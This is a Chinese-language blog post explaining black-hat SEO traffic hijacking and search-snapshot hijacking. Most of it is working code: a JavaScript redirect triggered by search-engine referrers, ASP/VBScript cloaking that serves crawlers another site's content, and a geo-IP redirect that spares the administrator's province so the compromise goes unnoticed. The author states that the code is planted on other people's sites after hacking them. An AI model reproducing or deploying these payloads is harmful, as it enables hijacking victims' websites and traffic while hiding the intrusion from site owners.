洞悉互聯(lián)網(wǎng)前沿資訊,探尋網(wǎng)站營(yíng)銷規(guī)律
作者:Smileby陌少羽 | 2017-05-11 08:45 |點(diǎn)擊:
黑帽SEO手法站長(zhǎng)們都或多或少聽過(guò),其中最為大家熟悉的就是流量劫持和快照劫持,不過(guò)很多新手站長(zhǎng)對(duì)這些表現(xiàn)不熟悉,那今天代明博客就為大家簡(jiǎn)單分析一下,黑帽SEO手法中的流量劫持、快照劫持、以及判斷地區(qū)劫持流量。
首先黑帽包括很多很多手法,技術(shù)含量也要求很高。比如舉幾個(gè)列子:流量劫持、快照劫持、泛域名、泛ip、變種ip、目錄鏈輪、新聞源劫持、寄生蟲程序、get程序、無(wú)限頁(yè)面鏈輪等等 ,不止這些,而且還會(huì)不停的出新技能。
有站長(zhǎng)發(fā)現(xiàn)一個(gè)現(xiàn)象,說(shuō)劫持的時(shí)候會(huì)判斷一下來(lái)路引擎,從百度來(lái)的時(shí)候才會(huì)跳轉(zhuǎn),正常輸入網(wǎng)址是打開正常的。好,我們先看一下是怎么實(shí)現(xiàn)的,上代碼:
<script LANGUAGE=”Javascript”>
var s=document.referrer
if(s.indexOf(“google”)>0 || s.indexOf(“baidu”)>0 || s.indexOf(“yahoo”)>0 )
location.href=”http://www.hao123.com”;
else
location.href=”indax.php/index.asp/index.html”
</script>
代碼解釋:if(s.indexOf(“google”)>0 || s.indexOf(“baidu”)>0 || s.indexOf(“yahoo”)>0 ) 判斷搜索引擎來(lái)源,如果來(lái)源正確,location.href=”http://www.hao123.com”;跳轉(zhuǎn)到hao123網(wǎng)站。下面的代碼是如果否,則打開正常首頁(yè)。這段代碼為js代碼。只是一個(gè)簡(jiǎn)單的判斷。
這個(gè)是有點(diǎn)技術(shù)含量的,需要的代碼也不會(huì)那么簡(jiǎn)單,總之目的是把別人網(wǎng)站首頁(yè)的快照變成自己的,然后別人輸入網(wǎng)址打開的時(shí)候還是正常顯示,判斷來(lái)路之后才會(huì)跳轉(zhuǎn)。想把快照換成自己想要的,得需要一段能改變蜘蛛看法的代碼,代碼類型很多,我這里寫一種:
<%@ LANGUAGE = VBScript.Encode %><%
Dim agent
agent=Request.ServerVariables(“http_user_agent”)
If instr(agent,”Baiduspider”) > 0 or instr(agent,”baidubrowser”) > 0 or instr(agent,”Sogou”) > 0 or instr(agent,”googlebot”) > 0 or instr(agent,”Sosospider”) > 0 then
linkurl=”http://www.xxx.com” ‘快照網(wǎng)址
Function GetBody(Url)
Dim objXML
On Error Resume Next
Set objXML = CreateObject(“Microsoft.XMLHTTP”)
With objXML
.Open “Get”, Url, False, “”, “”
.Send
GetBody = .ResponseBody
End With
GetBody=BytesToBstr(GetBody,”GB2312″)
Set objXML = Nothing
End Function
Function BytesToBstr(strBody,CodeBase)
dim objStream
set objStream = Server.CreateObject(“Adodb.Stream”)
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write strBody
objStream.Position = 0
objStream.Type = 2
objStream.Charset = CodeBase
BytesToBstr = objStream.ReadText
objStream.Close
set objStream = nothing
End Function
response.write GetBody(linkurl)
End if%>
<script LANGUAGE=”Javascript”>
var s=document.referrer
if(s.indexOf(“google”)>0 || s.indexOf(“baidu”)>0 || s.indexOf(“yahoo”)>0 )
location.href=”http://www.baidu.com”;
</script>
代碼解釋:前一段判斷抓取蜘蛛來(lái)源,指向快照抓取網(wǎng)址;后一段代碼判斷來(lái)路,進(jìn)行跳轉(zhuǎn)到指定網(wǎng)址。這段代碼其他地方暫不解釋。
可能有時(shí)候怕管理發(fā)現(xiàn),也不需要其他地區(qū)的沒(méi)用流量。要怎么做呢。比如管理員是江西的,那么看代碼:
<script src=”http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js” charset=”GB2312″ ></script>
<script type=text/javascript>
if(remote_ip_info.province ==’江西’){這里指定地區(qū)
;這里為空表示不跳轉(zhuǎn) 我們留空表示不跳轉(zhuǎn)
}else{否則
window.location.href=”http://www.hao123.com”;如果不是上面地區(qū) 就跳轉(zhuǎn)到這個(gè)網(wǎng)址
}
</script>
代碼解釋:http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js 為ip數(shù)據(jù)識(shí)別;其他代碼看注釋;
好了,今天就說(shuō)這幾個(gè)簡(jiǎn)單的手法吧,但有人要問(wèn)了,要怎么實(shí)現(xiàn)呢,這些代碼要放在什么地方?代明博客淡淡的說(shuō):要放在別人網(wǎng)站的首頁(yè)上。既然是劫持,肯定是劫持別人網(wǎng)站的了。那要怎么放進(jìn)去呢?黑掉。所以說(shuō)黑帽是建立在非常高深的技術(shù)上面,然后結(jié)合seo理論,實(shí)現(xiàn)的一種高效轉(zhuǎn)化流量的手段,當(dāng)然,這里我們暫且不談黑帽的持久性。